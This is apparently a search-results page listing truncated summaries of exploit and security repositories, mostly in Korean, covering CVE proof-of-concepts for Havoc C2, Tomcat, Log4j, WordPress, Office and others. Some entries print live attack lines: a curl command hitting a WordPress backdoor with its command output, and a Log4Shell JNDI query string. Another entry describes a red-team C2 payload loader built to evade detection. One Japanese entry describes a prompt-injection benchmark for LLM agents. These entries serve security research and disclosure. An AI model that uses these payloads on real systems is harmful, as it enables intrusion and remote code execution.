756897 matches found
Havoc-C2-SSRF-to-RCE
Havoc-C2-SSRF-to-RCE 이는 @chebuya의 CVE-2024-41570 SSRF PoC를 수정하고, @hyperreality의 인증 RCE 익스플로잇과 연계한 버전입니다. 이 익스플로잇은 Havoc C2 Framework의 여러 취약점을 이용하여 대상에 원격으로 코드를 실행합니다. https://github.com/user-attachments/assets/b75c5934-0326-4994-a695-c18bf95a1e25 usage: CVE-2024-41570.py -h -t TARGET -i IP -p POR...
CVE-2022-1609
CVE-2022-1609 CVE-2022-1609 WordPress Weblizar バックドア curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...
prompt_injection
クロスサーフェス・プロンプトインジェクション・ベンチマーク ツールを使用するLLMエージェントの実行パイプラインのどこでプロンプトインジェクション防御が発動し、どこで発動しないかを測定するためのベンチマーク。 注入されたペイロードに一意のカナリートークン（SECRET-A-F0-98）を埋め込み、4つのパイプライン段階で追跡する：exposed → persisted → relayed → executed 。これにより、モデルが何を見るかと、何に対して行動するかを分離し、防御の失敗を特定のパイプライン段階に局所化する。 📄 arXiv:2603.28013 · 🤗 論文ページ · 📦...
fastjson-tp1fn1
json.org CVE-2022-45688 true & false positive WTF ?? 이 프로젝트에는 CVE-2022-25845 취약점이 있는 fastjson 의존성이 포함되어 있습니다. 취약점은 JSON 내의 마크업이 Java 빈bean으로 해석될 때 발생합니다. 즉, 클래스가 인스턴스화되고 setter 메서드를 실행하여 속성이 설정됩니다. 이는 리플렉션reflection을 사용하여 수행됩니다. setter가 코드 실행과 같은 동작을 유발할 수 있는 클래스가 클래스패스에 존재하는 경우예제에서는 이 클래스가...
CVE-2025-24813-PoC-exploit
CVE-2025-24813-PoC-익스플로잇 Apache Tomcat 역직렬화 RCE ❯ python3 exploit.py http://localhost:8080/ "id" ============================================================ CVE-2025-24813 - Apache Tomcat Partial PUT RCE ============================================================ Target: http://localhost:8080...
CVE-2014-8731-PoC
CVE-2014-8731-PoC - PHPMemcachedAdmin 원격 코드 실행 더 이상 Github에서 호스팅하지 않고, 제 개인 Git 호스팅 인스턴스에서 호스팅합니다. 여기에서 코드를 확인하세요: https://git.sbani.net/sbani/CVE-2014-8731-PoC...
apache_normalize_path
CVE-2021-41773|CVE-2021-42013: Apache HTTP 서버에서 악용된 경로 탐색 제로데이 10월 5일, Apache HTTP Server 프로젝트는 CVE-2021-41773을 패치했습니다. 이는 가장 널리 사용되는 웹 서버 중 하나인 Unix 및 Windows용 오픈소스 웹 서버인 Apache HTTP Server의 경로 탐색 및 파일 노출 취약점입니다. 보안 권고에 따르면, CVE-2021-41773은 제로데이로 실제 환경에서 악용되었습니다. 이 취약점은 Ash Daulton과 cPanel 보안 팀에...
CVE-2025-66837
CVE-2025-66837 악성 파일 업로드 설명 ARIS의 파일 업로드 취약점으로 인해 공격자는 조작된 PDF 파일/악성코드를 업로드하여 임의 코드를 실행할 수 있습니다. CVSS 점수: 6.8 중간 공격 유형 원격 인증됨 영향받는 버전 10.0.23.0.3587512 이후 버전 발견자: Yazan Abu-Nadi...
CVE-2025-55182-Simple-Scanner
CVE-2025-55182: React Server Components RCE 스캐너 React Server Components를 사용하는 Next.js 애플리케이션의 치명적인 원격 코드 실행RCE 취약점인 CVE-2025-55182 를 탐지하고 악용하기 위한 종합 툴킷입니다. 이 저장소는 통합 Bash 스캐너단일 및 대량 모드, Python/Go 구현체, 버그 바운티 정찰 워크플로우를 제공합니다. 📂 저장소 구조 scanner.sh — 단일 대상 및 대량 스캔을 위한 올인원 Bash 스크립트 python/exploit.py ...
capsule
Capsule 시작하기 • 문서 • 이슈 • 기여하기 개요 Capsule은 신뢰할 수 없는 코드를 격리된 환경에서 실행하기 위한 런타임입니다. 각 태스크는 자체 WebAssembly 샌드박스 내에서 실행되며, 다음을 제공합니다: 격리된 실행 : 각 태스크가 호스트 시스템으로부터 격리되어 실행됩니다 리소스 제한 : 태스크별로 CPU, 메모리, 타임아웃 제한을 설정할 수 있습니다 자동 재시도 : 수동 개입 없이 실패를 처리합니다 생명 주기 추적 : 실행 중, 완료됨, 실패 상태를 모니터링할 수 있습니다 작동 방식 Python 사용...
Cooolis-ms
Cooolis-ms Wiki 설명 Cooolis-ms는 Metasploit Payload Loader, Cobalt Strike External C2 Loader, Reflective DLL injection을 포함하는 코드 실행 도구입니다. 정적 탐지에서 실행하려는 특징적인 코드를 일부 회피하여, 레드 팀 구성원이 웹 컨테이너 환경에서 C2 환경으로 더 편리하고 빠르게 전환하여 작업을 진행할 수 있도록 돕는 데 목적이 있습니다. 어떻게 다운로드하나요? Github에서 직접 저장소를 클론하여 소스 코드를 얻을 수 있습니다: g...
LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-
= doi.org/10.5281/zenodo.18278567 = orcid.org/0009-0007-7728-256X 💀 LlamaStack-RCE: CVE-2024-50050 공급망 공격 프레임워크 무제한 기밀 자료 - 공인된 레드팀 운영 전용 1. 요약 결정적 분석 LlamaStack-RCE는 Meta Llama Stack 의 CVE-2024-50050 , 즉 치명적인 원격 코드 실행RCE 취약점을 대상으로 하는 고정밀 시뮬레이션 및 공격 프레임워크입니다. 이 취약점은 Python 기반 추론 API 내의 안전하지 않은...
cve_2025_20265
CVE-2025-20265용 PoC 보안 권고 ⚠️ 경고 이것은 1-day 취약점에 대한 실제 동작하는 익스플로잇입니다. 취약한 시스템에서 코드를 실행할 수 있습니다. 테스트 권한이 있는 본인 소유의 내부 서버에서만 사용하세요. 무단 사용은 불법이며 비윤리적입니다. 본인의 책임 하에 사용하세요. 본인의 행동에 대한 책임은 본인에게 있습니다. 빌드 1. Rust 설치 2. PoC 빌드: cargo build --release 사용법 $ ./target/release/cve202520265 --help 또는 $ cargo run...
CVE-2019-17564
CVE-2019-17564: Apache Dubbo 역직렬화 취약점 0x00 소개 Apache Dubbo는 고성능, 경량급 오픈소스 Java RPC 프레임워크로, 인터페이스 지향 원격 메서드 호출, 지능형 장애 허용failover 및 로드 밸런싱, 서비스 자동 등록 및 발견이라는 세 가지 핵심 기능을 제공합니다. 0x01 취약점 개요 Apache Dubbo는 여러 프로토콜을 지원하며, 공식적으로는 Dubbo 프로토콜 사용을 권장합니다. Apache Dubbo HTTP 프로토콜의 역직렬화 취약점CVE-2019-17564은...
CVE-2017-8570
무엇인가? 이 저장소는 CVE-2017-8570"Composite Moniker" 취약점에 대한 개념 증명 익스플로잇을 포함하고 있습니다. Packager.dll 트릭을 사용하여 %TEMP% 디렉터리에 sct 파일을 드롭한 후, 취약점이 제공하는 프리미티브를 이용해 실행하는 방법을 설명합니다. 이유 몇 가지 이유가 있습니다. 1. 이 취약점을 악용하기 위해 Packager.dll 파일 드롭 트릭을 사용할 수 있는지 확인하고 싶었습니다. 2. 제가 아는 한, CVE-2017-8570에 대한 다른 모든 공개 익스플로잇은 실제로...
Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution
CVE-2021-46076 익스플로잇 제목: Vehicle Service Management System - 'Multiple' 파일 업로드로 인한 코드 실행 익스플로잇 작성자: SANU P.L CVE: CVE-2021-46076 CVSS: 8.8 HIGH 참조: https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution https://nvd.nist.gov/vuln/detail/CVE-2021-46076...
CVE-2019-0678
취약점 Microsoft Edge 권한 상승 취약점 취약점 설명 이 취약점을 통해 공격자는 권한 없이 모든 호스트에서 JavaScript 코드를 실행할 수 있으며, 로컬 시스템 파일을 탈취할 수 있고, Microsoft Edge의 내부 개발자 설정을 변경할 수도 있습니다. CVE-ID CVE-2019-0678 공급업체 Microsoft 제품 Microsoft Edge 공개 타임라인 1. 2018년 11월 28일 공급업체에 보고됨 2. 2019년 12월 3일 권고문의 조정된 공개 릴리스 크레딧 Nikhil Mittal...
log4j2-issue-check
Log4Shell: RCE 0-day 이슈 평가 이 저장소는 Log4j2 취약점 CVE-2021-44228을 평가하기 위한 코드를 포함하고 있습니다. 자세한 내용 https://www.lunasec.io/docs/blog/log4j-zero-day/ 테스트 방법 쿼리 매개변수로 $jndi:ldap://127.0.0.1:3089/를 포함한 GET 요청을 보냅니다. http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D 위 요청을...
dinkleberry
Dinkleberry 🫐 당신은 패치가 없는 D-Link NAS 취약점 CVE-2024-3272에 노출된 92,000명 이상의 사용자1 중 하나인가요? 이 도구는 취약한 장치를 패치하기 위해 익스플로잇 자체를 사용합니다. 1: 참조 섹션의 원본 공개를 참조하세요. 기능 Dinkleberry는 취약한 nassharing.cgi 파일을 패치된 버전으로 교체하는 명령을 실행합니다 - NOP로 system 호출을 덮어씁니다. /usr/local/modules 폴더파일이 있는 곳는 읽기 전용이므로, 대신 /usr/local/config...